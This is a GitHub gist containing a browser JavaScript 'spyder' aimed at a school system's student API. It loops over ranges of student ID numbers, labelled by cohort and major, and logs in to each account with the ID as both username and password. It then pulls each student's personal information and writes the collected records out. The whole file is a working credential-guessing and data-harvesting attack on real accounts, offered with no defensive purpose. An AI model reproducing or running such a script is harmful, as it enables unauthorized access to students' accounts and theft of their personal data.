Skip to content

Instantly share code, notes, and snippets.

@jeasonstudio
Created February 11, 2017 07:12
Show Gist options
  • Save jeasonstudio/7a92c07bebe107cb48fe72db58f668d8 to your computer and use it in GitHub Desktop.
Save jeasonstudio/7a92c07bebe107cb48fe72db58f668d8 to your computer and use it in GitHub Desktop.
ocs.kalen.site spyder
var importJs = document.createElement('script') //在页面新建一个script标签
importJs.setAttribute("type", "text/javascript") //给script标签增加type属性
importJs.setAttribute("src", 'http://cdn.bootcss.com/jquery/3.1.1/jquery.min.js') //给script标签增加src属
document.getElementsByTagName("head")[0].appendChild(importJs) //把importJs标签添加在页面
var tagArr = [];
var getCookie = function (id) {
$.ajax({
type: 'POST',
url: 'http://ocs.kalen.site/api/index.php/login',
async: false,
data: {
uname: String(id),
passwd: String(id),
type: '0'
},
dataType: 'json',
complete: function (data) {
// console.log(data)
getInfo();
}
});
}
var getInfo = function () {
$.ajax({
type: 'GET',
url: 'http://ocs.kalen.site/api/index.php/student/info',
dataType: 'json',
complete: function (resp) {
// console.log(resp.responseJSON.data)
if (resp.responseJSON.data) {
tagArr.push(resp.responseJSON.data)
}
}
});
}
//14计算机
// for (var num = 41455001; num <= 41455117; num++) {
// getCookie(num);
// }
//14通信
// for (var num = 41456001; num <= 41456118; num++) {
// getCookie(num);
// }
//14信安
// for (var num = 41459001; num <= 41459061; num++) {
// getCookie(num);
// }
//14物联
for (var num = 41458031; num <= 41458060; num++) {
getCookie(num);
}
//15计算机&通信
// for (var num = 41524101; num <= 41524424; num++) {
// getCookie(num);
// }
//15信安&物联
// for (var num = 41524501; num <= 41524660; num++) {
// getCookie(num);
// }
//16计算机&通信
// for (var num = 41624101; num <= 41624415; num++) {
// getCookie(num);
// }
//16信安&物联
// for (var num = 41624501; num <= 41624662; num++) {
// getCookie(num);
// }
//测试
// for (var num = 41524501; num <= 41524503; num++) {
// getCookie(num);
// }
// console.log((tagArr))
setTimeout(function () {
document.write(JSON.stringify(tagArr))
}, 20000)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment